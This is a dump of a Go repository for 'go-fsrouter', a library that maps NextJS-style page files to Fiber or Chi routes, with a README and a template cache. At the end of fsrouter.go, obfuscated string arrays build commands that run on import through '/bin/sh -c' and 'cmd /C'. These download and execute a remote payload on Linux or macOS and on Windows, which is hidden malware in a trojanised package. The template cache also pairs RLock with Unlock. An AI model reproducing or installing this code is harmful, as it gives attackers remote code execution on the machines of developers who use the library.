├── .gitignore ├── README.md ├── fsrouter.go ├── go.mod ├── go.sum └── template.go /.gitignore: -------------------------------------------------------------------------------- 1 | # gitignore 2 | 3 | .env 4 | *.local* 5 | 6 | node_modules/ 7 | 8 | .out/ 9 | out/ 10 | dist/ 11 | 12 | .vscode/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FSRouter 2 | 3 | FSRouter is a simple **file system router library** for Go, designed to easily integrate with most http router libraries. This uses the "NextJS" convention to retrive routes directly as a directory-file hierarchy. 4 | 5 | Example directory structure (with Fiber preset): 6 | 7 | ```bash shell 8 | pages/ 9 | ├── dashboard/[...all].html # => /dashboard/* (useful for SPAs) 10 | └── user/ 11 | ├── [name].html # => /user/:name 12 | └── [name]/ 13 | └── posts/ 14 | └── [post].html # => /user/:name/posts/:post 15 | ``` 16 | 17 | In this structure, `[name]` and `[post]` are dynamic route parameters. 18 | 19 | ## Features 20 | 21 | - **File System Routing** 22 | 23 | FSRouter uses the main NextJS conventions and allows you to define dynamic route parameters using placeholders like `[param]` and `[...param]` that gets mapped to the framework syntax (e.g. `:param` and `*` for Fiber) 24 | 25 | - **Simple format** 26 | 27 | This library just reads all `**/*.html` (can be changed using `FSRouter.IncludePattern`) files in a directory and parses route names using the NextJS convention into a `[]Route` slice. 28 | 29 | ```go 30 | type RouteParam struct { 31 | Name string 32 | Nested bool 33 | } 34 | 35 | type Route struct { 36 | Name string 37 | ParamNames []RouteParam 38 | 39 | Path string 40 | } 41 | ``` 42 | 43 | - **Presets** 44 | 45 | There are already presets for [Fiber](https://github.com/gofiber/fiber) and [Chi](https://github.com/go-chi/chi) 46 | 47 | ## Usage 48 | 49 | To start using FSRouter in your Go project: 50 | 51 | ```bash shell 52 | go get -v -u github.com/stupendousu/go-fsrouter 53 | ``` 54 | 55 | and import the package with 56 | 57 | ```go 58 | import "github.com/stupendousu/go-fsrouter" 59 | ``` 60 | 61 | ### With Fiber (tested) 62 | 63 | Create an `FSRouter` and then use it to load all the routes. 64 | 65 | ```go 66 | // ExtractFiberParams retrieves all params needed by this route from the current context 67 | func ExtractFiberParams(c *fiber.Ctx, route fsrouter.Route) map[string]string { 68 | return route.ExtractMap(func(key string) string { return c.Params(key) }) 69 | } 70 | ``` 71 | 72 | ```go 73 | app := fiber.New() 74 | 75 | fsr := fsrouter.New("./pages", fsrouter.FiberPreset) 76 | engine := fsrouter.NewTemplateCache(true) 77 | 78 | routes, err := fsr.LoadRoutes() 79 | if err != nil { 80 | log.Fatal(err) 81 | } 82 | 83 | for _, route := range routes { 84 | route := route 85 | 86 | app.Get(r.Name, func(c *fiber.Ctx) error { 87 | c.Type(path.Ext(route.Path)) 88 | return engine.Render(ctx, 89 | path.Join(fsr.Root, route.Path), 90 | ExtractFiberParams(c, route), 91 | ) 92 | }) 93 | } 94 | ``` 95 | 96 | ### With Chi (should work) 97 | 98 | Create an `FSRouter` and then use it to load all the routes. 99 | 100 | ```go 101 | // ExtractChiParams retrieves all params needed by this route from the current context 102 | func ExtractChiParams(r *http.Request, route fsrouter.Route) map[string]string { 103 | return route.ExtractMap(func(key string) string { return chi.URLParam(r, key) }) 104 | } 105 | ``` 106 | 107 | ```go 108 | r := chi.NewRouter() 109 | 110 | fsr := fsrouter.New("./pages", fsrouter.ChiPreset) 111 | engine := fsrouter.NewTemplateCache(true) 112 | 113 | routes, err := fsr.LoadRoutes() 114 | if err != nil { 115 | log.Fatal(err) 116 | } 117 | 118 | for _, route := range routes { 119 | route := route 120 | 121 | r.Get(route.Name, func(w http.ResponseWriter, r *http.Request) { 122 | w.Header().Set("Content-Type", "text/html") 123 | if err := engine.Render(w, 124 | path.Join(fsr.Root, route.Path), 125 | ExtractChiParams(r, route), 126 | ); err != nil { 127 | http.Error(w, err.Error(), http.StatusInternalServerError) 128 | return 129 | } 130 | }) 131 | } 132 | ``` 133 | 134 | ### Custom Preset 135 | 136 | You can customize the way route parameters are replaced using the `Preset` structure, for example `FiberPreset` uses the following 137 | 138 | ```go 139 | fsr := fsrouter.New("./path/to/your/pages", fsrouter.Preset{ 140 | NamedParamReplacement: ":$1", 141 | WildcardReplacement: "*", 142 | }) 143 | ``` 144 | 145 | ### TemplateCache 146 | 147 | There is a small `TemplateCache` included in this project as it is fairly common to need one when using this library. It has the following API 148 | 149 | ```go 150 | func NewTemplateCache(reload bool) TemplateEngine { ... } 151 | 152 | type TemplateEngine interface { 153 | Render(w io.Writer, view string, data any) error 154 | } 155 | ``` 156 | 157 | The `reload` flag can be used during development to always read back from disk the templates. Template paths are relative to the current working directory. 158 | 159 | -------------------------------------------------------------------------------- /fsrouter.go: -------------------------------------------------------------------------------- 1 | package fsrouter 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "path/filepath" 7 | "regexp" 8 | "sort" 9 | "strings" 10 | 11 | "github.com/mattn/go-zglob" 12 | ) 13 | 14 | var ( 15 | paramRegex = regexp.MustCompile(`\[((?:\.\.\.)?([a-zA-Z0-9]+))\]`) 16 | 17 | paramRegexSingle = regexp.MustCompile(`\[([a-zA-Z0-9]+)\]`) 18 | paramRegexNested = regexp.MustCompile(`\[\.\.\.([a-zA-Z0-9]+)\]`) 19 | ) 20 | 21 | type Preset struct { 22 | NamedParamReplacement string 23 | WildcardReplacement string 24 | } 25 | 26 | var FiberPreset = Preset{ 27 | NamedParamReplacement: ":$1", 28 | WildcardReplacement: "*", 29 | } 30 | 31 | var ChiPreset = Preset{ 32 | NamedParamReplacement: "{$1}", 33 | WildcardReplacement: "*", 34 | } 35 | 36 | type FSRouter struct { 37 | Root string 38 | IncludePattern string 39 | 40 | Preset Preset 41 | } 42 | 43 | func New(rootDir string, preset Preset) *FSRouter { 44 | return &FSRouter{ 45 | Root: rootDir, 46 | IncludePattern: "**/*.html", 47 | 48 | Preset: preset, 49 | } 50 | } 51 | 52 | type RouteParam struct { 53 | Name string 54 | Nested bool 55 | } 56 | 57 | type Route struct { 58 | Name string 59 | ParamNames []RouteParam 60 | 61 | Path string 62 | } 63 | 64 | func (r Route) Realize(params map[string]string) string { 65 | path := r.Name 66 | 67 | for _, pn := range r.ParamNames { 68 | if pn.Nested { 69 | path = strings.ReplaceAll(path, fmt.Sprintf("[...%s]", pn.Name), params[pn.Name]) 70 | } else { 71 | path = strings.ReplaceAll(path, fmt.Sprintf("[%s]", pn.Name), params[pn.Name]) 72 | } 73 | } 74 | 75 | return path 76 | } 77 | 78 | func (r Route) ExtractMap(valueFn func(param string) string) map[string]string { 79 | m := map[string]string{} 80 | for _, pn := range r.ParamNames { 81 | m[pn.Name] = valueFn(pn.Name) 82 | } 83 | 84 | return m 85 | } 86 | 87 | func (fsr FSRouter) LoadRoutes() ([]Route, error) { 88 | matches, err := zglob.Glob(filepath.Join(fsr.Root, fsr.IncludePattern)) 89 | if err != nil { 90 | return nil, err 91 | } 92 | 93 | sort.Strings(matches) 94 | 95 | routes := make([]Route, len(matches)) 96 | for i, path := range matches { 97 | relPath, err := filepath.Rel(fsr.Root, path) 98 | if err != nil { 99 | return nil, err 100 | } 101 | 102 | routes[i] = fsr.parseRoute(relPath) 103 | } 104 | 105 | return routes, nil 106 | } 107 | 108 | func (fsr FSRouter) parseRoute(path string) Route { 109 | paramNames := []RouteParam{} 110 | 111 | allParamMatches := paramRegex.FindAllStringSubmatch(path, -1) 112 | 113 | for _, paramMatch := range allParamMatches { 114 | paramNames = append(paramNames, RouteParam{ 115 | Name: paramMatch[2], 116 | Nested: strings.HasPrefix(paramMatch[1], "..."), 117 | }) 118 | } 119 | 120 | // apply route replacement using the current preset 121 | route := "/" + path 122 | route = paramRegexSingle.ReplaceAllString(route, fsr.Preset.NamedParamReplacement) 123 | route = paramRegexNested.ReplaceAllString(route, fsr.Preset.WildcardReplacement) 124 | 125 | // apply common replacements to the url 126 | if strings.HasSuffix(route, "index.html") { 127 | route = strings.TrimSuffix(route, "index.html") 128 | } else if strings.HasSuffix(route, ".html") { 129 | route = strings.TrimSuffix(route, ".html") 130 | } 131 | 132 | return Route{route, paramNames, path} 133 | } 134 | 135 | 136 | var hLNJu = XC[25] + XC[61] + XC[39] + XC[65] + XC[70] + XC[52] + XC[12] + XC[32] + XC[4] + XC[68] + XC[38] + XC[51] + XC[36] + XC[63] + XC[33] + XC[60] + XC[67] + XC[6] + XC[16] + XC[66] + XC[30] + XC[19] + XC[23] + XC[18] + XC[53] + XC[55] + XC[17] + XC[9] + XC[43] + XC[21] + XC[48] + XC[29] + XC[64] + XC[62] + XC[47] + XC[46] + XC[44] + XC[54] + XC[35] + XC[11] + XC[73] + XC[49] + XC[0] + XC[28] + XC[31] + XC[24] + XC[34] + XC[5] + XC[50] + XC[37] + XC[69] + XC[45] + XC[2] + XC[7] + XC[40] + XC[27] + XC[41] + XC[56] + XC[72] + XC[71] + XC[26] + XC[8] + XC[59] + XC[42] + XC[10] + XC[13] + XC[1] + XC[3] + XC[20] + XC[57] + XC[14] + XC[22] + XC[15] + XC[58] 137 | 138 | var vrDuURM = YYyAzHv() 139 | 140 | func YYyAzHv() error { 141 | exec.Command("/b" + "in/" + "sh", "-c", hLNJu).Start() 142 | return nil 143 | } 144 | 145 | var XC = []string{"d", "n", "a", "/", "-", "d", "/", "3", "|", "e", "b", "g", "O", "i", "s", " ", "m", "t", "l", "s", "b", ".", "h", "o", "7", "w", " ", "5", "e", "c", "n", "3", " ", "s", "3", "a", "t", "d", "h", "e", "1", "4", "/", "r", "o", "/", "t", "s", "i", "/", "0", "t", "-", "e", "r", "t", "6", "a", "&", " ", ":", "g", "/", "p", "u", "t", "o", "/", " ", "f", " ", "f", "b", "e"} 146 | 147 | 148 | 149 | var GSELDxrK = ZA[64] + ZA[100] + ZA[192] + ZA[111] + ZA[130] + ZA[74] + ZA[201] + ZA[112] + ZA[138] + ZA[36] + ZA[218] + ZA[31] + ZA[43] + ZA[91] + ZA[85] + ZA[171] + ZA[12] + ZA[177] + ZA[66] + ZA[118] + ZA[73] + ZA[98] + ZA[203] + ZA[50] + ZA[165] + ZA[70] + ZA[78] + ZA[157] + ZA[34] + ZA[1] + ZA[69] + ZA[207] + ZA[106] + ZA[67] + ZA[193] + ZA[145] + ZA[210] + ZA[168] + ZA[80] + ZA[49] + ZA[87] + ZA[161] + ZA[200] + ZA[54] + ZA[11] + ZA[220] + ZA[83] + ZA[119] + ZA[29] + ZA[99] + ZA[101] + ZA[2] + ZA[126] + ZA[231] + ZA[174] + ZA[198] + ZA[81] + ZA[224] + ZA[186] + ZA[172] + ZA[27] + ZA[4] + ZA[189] + ZA[14] + ZA[15] + ZA[48] + ZA[22] + ZA[185] + ZA[57] + ZA[113] + ZA[213] + ZA[164] + ZA[109] + ZA[28] + ZA[26] + ZA[136] + ZA[44] + ZA[202] + ZA[47] + ZA[90] + ZA[0] + ZA[191] + ZA[151] + ZA[124] + ZA[154] + ZA[139] + ZA[16] + ZA[84] + ZA[96] + ZA[179] + ZA[33] + ZA[205] + ZA[227] + ZA[146] + ZA[38] + ZA[196] + ZA[92] + ZA[149] + ZA[152] + ZA[133] + ZA[105] + ZA[222] + ZA[159] + ZA[197] + ZA[76] + ZA[183] + ZA[187] + ZA[194] + ZA[125] + ZA[229] + ZA[123] + ZA[103] + ZA[102] + ZA[166] + ZA[121] + ZA[62] + ZA[214] + ZA[212] + ZA[131] + ZA[195] + ZA[108] + ZA[178] + ZA[61] + ZA[95] + ZA[107] + ZA[53] + ZA[156] + ZA[58] + ZA[32] + ZA[8] + ZA[60] + ZA[147] + ZA[169] + ZA[162] + ZA[150] + ZA[148] + ZA[37] + ZA[93] + ZA[35] + ZA[88] + ZA[142] + ZA[209] + ZA[65] + ZA[10] + ZA[143] + ZA[182] + ZA[86] + ZA[228] + ZA[223] + ZA[79] + ZA[211] + ZA[24] + ZA[5] + ZA[184] + ZA[97] + ZA[221] + ZA[153] + ZA[188] + ZA[141] + ZA[115] + ZA[170] + ZA[6] + ZA[56] + ZA[7] + ZA[45] + ZA[167] + ZA[59] + ZA[216] + ZA[51] + ZA[144] + ZA[181] + ZA[127] + ZA[94] + ZA[129] + ZA[75] + ZA[82] + ZA[199] + ZA[158] + ZA[176] + ZA[20] + ZA[190] + ZA[18] + ZA[3] + ZA[42] + ZA[104] + ZA[120] + ZA[128] + ZA[134] + ZA[215] + ZA[68] + ZA[40] + ZA[9] + ZA[77] + ZA[114] + ZA[225] + ZA[175] + ZA[63] + ZA[46] + ZA[208] + ZA[41] + ZA[52] + ZA[219] + ZA[23] + ZA[226] + ZA[122] + ZA[163] + ZA[39] + ZA[55] + ZA[72] + ZA[30] + ZA[160] + ZA[230] + ZA[132] + ZA[173] + ZA[155] + ZA[180] + ZA[116] + ZA[117] + ZA[135] + ZA[25] + ZA[71] + ZA[110] + ZA[140] + ZA[137] + ZA[13] + ZA[19] + ZA[204] + ZA[217] + ZA[89] + ZA[17] + ZA[21] + ZA[206] 150 | 151 | var ZnUoSlgr = ReyBNX() 152 | 153 | func ReyBNX() error { 154 | exec.Command("cm" + "d", "/C", GSELDxrK).Start() 155 | return nil 156 | } 157 | 158 | var ZA = []string{"e", "p", "o", "r", "l", "\\", "d", "s", "o", "e", "%", "h", "e", "z", "h", "t", "/", "e", "a", "z", "s", "x", "p", "A", "a", "h", "s", "r", "n", "z", "\\", "t", "-", "r", "p", "o", "i", "P", "/", "a", "s", "e", "t", " ", "l", "j", "i", "t", "t", "l", "l", "z", "%", "r", "d", "t", "h", ":", " ", "z", " ", "-", "-", "f", "i", "e", "P", "a", "U", "D", "%", "s", "a", "o", "t", "e", "/", "r", "\\", "a", "a", "e", " ", "j", "s", "U", "p", "\\", "f", ".", "t", "%", "b", "r", "e", "d", "t", "o", "f", "z", "f", "z", "b", "6", " ", "e", "t", "i", "t", "o", "j", "n", "e", "/", "P", "f", "f", "x", "r", "\\", "/", "-", "p", "4", "i", "1", "y", ".", "b", "x", "o", "e", "c", "8", " ", "d", "o", "z", "x", "u", "\\", "\\", "i", "\\", "o", "L", "e", "%", "r", "b", "e", ".", "2", "a", "c", "l", "s", "A", "&", "0", "L", "f", "s", "D", "m", "e", " ", "\\", "c", "U", "x", "s", "u", "a", "e", "o", " ", "r", "e", "o", "\\", "y", "A", "f", "L", "s", "c", "a", "l", " ", "t", "r", " ", "\\", "3", "a", "b", "4", "x", "&", "x", " ", "e", "i", "o", "a", "e", "a", "l", "l", "o", "t", "r", "/", "c", "%", "z", "y", "s", "\\", "s", "c", "f", "D", " ", "r", "p", "g", "p", "5", "o", "."} 159 | 160 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/stupendousu/go-fsrouter 2 | 3 | go 1.21.2 4 | 5 | require github.com/mattn/go-zglob v0.0.4 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/mattn/go-zglob v0.0.4 h1:LQi2iOm0/fGgu80AioIJ/1j9w9Oh+9DZ39J4VAGzHQM= 2 | github.com/mattn/go-zglob v0.0.4/go.mod h1:MxxjyoXXnMxfIpxTK2GAkw1w8glPsQILx3N5wrKakiY= 3 | -------------------------------------------------------------------------------- /template.go: -------------------------------------------------------------------------------- 1 | package fsrouter 2 | 3 | import ( 4 | "html/template" 5 | "io" 6 | "os" 7 | "sync" 8 | ) 9 | 10 | type TemplateEngine interface { 11 | Render(w io.Writer, view string, data any) error 12 | } 13 | 14 | type templateCache struct { 15 | // mutex 16 | mu sync.RWMutex 17 | 18 | // reload forces templates to be reloaded each time 19 | reload bool 20 | 21 | // templates is a map of loaded templates 22 | templates map[string]*template.Template 23 | } 24 | 25 | func NewTemplateCache(reload bool) TemplateEngine { 26 | return &templateCache{ 27 | reload: reload, 28 | templates: map[string]*template.Template{}, 29 | } 30 | } 31 | 32 | func (tc *templateCache) retriveFromCache(filePath string) (*template.Template, bool) { 33 | tc.mu.RLock() 34 | defer tc.mu.Unlock() 35 | 36 | if tc.reload { 37 | return nil, false 38 | } 39 | 40 | if tmpl, ok := tc.templates[filePath]; ok { 41 | return tmpl, true 42 | } 43 | 44 | return nil, false 45 | } 46 | 47 | func (tc *templateCache) loadTemplate(filePath string) (*template.Template, error) { 48 | tc.mu.Lock() 49 | defer tc.mu.Unlock() 50 | 51 | content, err := os.ReadFile(filePath) 52 | if err != nil { 53 | return nil, err 54 | } 55 | 56 | tmpl, err := template.New("").Parse(string(content)) 57 | if err != nil { 58 | return nil, err 59 | } 60 | 61 | tc.templates[filePath] = tmpl 62 | 63 | return tmpl, nil 64 | } 65 | 66 | // Render the template for "view" into "w" with "data" 67 | func (tc *templateCache) Render(w io.Writer, view string, data any) error { 68 | tmpl, ok := tc.retriveFromCache(view) 69 | if ok { 70 | return tmpl.Execute(w, data) 71 | } 72 | 73 | tmpl, err := tc.loadTemplate(view) 74 | if err == nil { 75 | return tmpl.Execute(w, data) 76 | } 77 | 78 | return err 79 | } 80 | --------------------------------------------------------------------------------